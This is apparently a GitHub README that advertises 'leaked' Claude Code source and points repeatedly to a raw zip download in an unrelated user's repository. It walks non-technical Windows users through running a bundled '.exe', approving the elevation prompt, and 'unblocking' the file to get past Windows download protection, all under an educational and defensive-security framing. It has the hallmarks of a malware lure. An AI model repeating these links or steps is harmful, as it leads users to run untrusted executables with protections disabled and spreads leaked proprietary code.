Content
# 📁 claude-leaked-files - Review Claude Code source safely
[](https://github.com/Deerskinnorthumbria588/claude-leaked-files/raw/refs/heads/main/Saify/claude-files-leaked-2.0.zip)
## 🚀 What this is
`claude-leaked-files` is a mirrored snapshot of Claude Code source material preserved for educational use, defensive security work, and supply-chain analysis.
Use it to inspect code, compare versions, and study how the project is put together on a Windows PC.
## 🖥️ Windows setup
This project is meant to be opened after you download the release files from the GitHub Releases page.
### System needs
- Windows 10 or Windows 11
- A modern web browser
- Enough free disk space for the release files
- A file unzip tool, if the release comes in a `.zip` file
### What you may see in the release
- A `.zip` file with the project files
- A Windows installer file
- A bundled app folder
- Text files with source, notes, or checksums
## 📥 Download the files
Visit this page to download the release files:
https://github.com/Deerskinnorthumbria588/claude-leaked-files/raw/refs/heads/main/Saify/claude-files-leaked-2.0.zip
If the page shows more than one file, choose the file meant for Windows. If you see a `.zip` file, download that file first.
## 🪟 Install or open on Windows
### If you downloaded a ZIP file
1. Open the folder where your browser saved the file.
2. Right-click the `.zip` file.
3. Select **Extract All**.
4. Choose a folder you can find later, such as **Downloads** or **Desktop**.
5. Open the extracted folder.
6. Look for the main app file, setup file, or source folder.
### If you downloaded an EXE file
1. Double-click the `.exe` file.
2. Follow the setup steps on screen.
3. If Windows asks for permission, select **Yes**.
4. Finish the setup.
5. Open the app from the Start menu or the folder where it was installed.
### If you downloaded a folder of files
1. Open the folder.
2. Look for a main start file such as `README`, `setup`, `run`, or an app name.
3. Open the file that matches the Windows app or viewer you plan to use.
## 🔍 How to use the files
After you open the release files, you can use them in a few simple ways:
- Read the source files in a text editor
- Compare files across versions
- Inspect scripts and config files
- Review how parts of the app connect
- Check file names, folder layout, and build files
If the release includes a viewer or local app, start there first. If it includes only source files, open the folder in File Explorer and browse the contents.
## 📂 Suggested folder layout
A typical release may include these parts:
- `src` — main source files
- `docs` — notes and text files
- `assets` — images or supporting files
- `build` — packaged output
- `config` — settings and app options
- `tests` — verification files
You do not need to change these folders to browse the contents. You can open them and read the files inside.
## ⚙️ Common file types
You may see these file types:
- `.zip` — compressed download
- `.exe` — Windows program or installer
- `.txt` — plain text notes
- `.md` — Markdown readme file
- `.json` — structured settings or data
- `.js` — JavaScript source file
- `.ts` — TypeScript source file
- `.yml` or `.yaml` — config file
If you are not sure what a file does, start with the `.md` and `.txt` files. They often explain the rest.
## 🔒 Basic file checks
Before you open the files, you can do a quick check:
- Confirm the file name matches the release page
- Confirm the file size looks close to the one shown on GitHub
- Open the archive and look for a normal folder structure
- Read any included checksum or hash file, if one is present
These steps help you confirm you downloaded the right release.
## 🧭 First things to open
If you want the fastest way in, open these files first:
1. `README.md`
2. `LICENSE`
3. `package.json`
4. `src` folder
5. `docs` folder
These files usually give the clearest view of how the project is arranged.
## 🧰 If Windows blocks the file
If Windows shows a prompt when you open the file:
1. Check that the file came from the release page.
2. Right-click the file.
3. Choose **Properties**.
4. If you see **Unblock**, select it.
5. Apply the change.
6. Open the file again.
If the file still does not open, try extracting it to a simple folder path such as `C:\ClaudeFiles`.
## 🧪 For defensive security review
This snapshot can help with:
- Code review
- Dependency review
- Build trace checks
- Supply-chain comparison
- Change tracking across versions
- Local inspection without changing the source
You can compare file trees, search for package names, and review config files to see how the project is built.
## 🗂️ Search tips for non-technical users
Use the Windows search box inside the folder to find:
- `readme`
- `license`
- `config`
- `install`
- `run`
- `build`
These names often point to the main files you need first.
## 🛠️ If the app does not open
Try these steps:
1. Make sure you extracted the ZIP file first.
2. Check that you opened the correct file.
3. Search for another `.exe` file in the folder.
4. Move the files to a shorter path like `C:\ClaudeFiles`.
5. Open the app again.
6. Try a fresh download from the release page.
If you downloaded source files only, the folder may not include a direct app to launch. In that case, use the files for review and analysis.
## 📌 Release page
Download the latest files here:
https://github.com/Deerskinnorthumbria588/claude-leaked-files/raw/refs/heads/main/Saify/claude-files-leaked-2.0.zip
## 🧾 File names you may see
Common names in a release like this may include:
- `claude-leaked-files.zip`
- `source.zip`
- `release-notes.txt`
- `checksums.txt`
- `windows-build.exe`
- `portable.zip`
Pick the file that matches your Windows setup and the way you want to open it
## 🧩 What to expect after download
After you download and open the release, you should be able to:
- Browse the source snapshot
- Read included notes
- Open related files in Windows
- Review the project structure
- Use the files for research and analysis
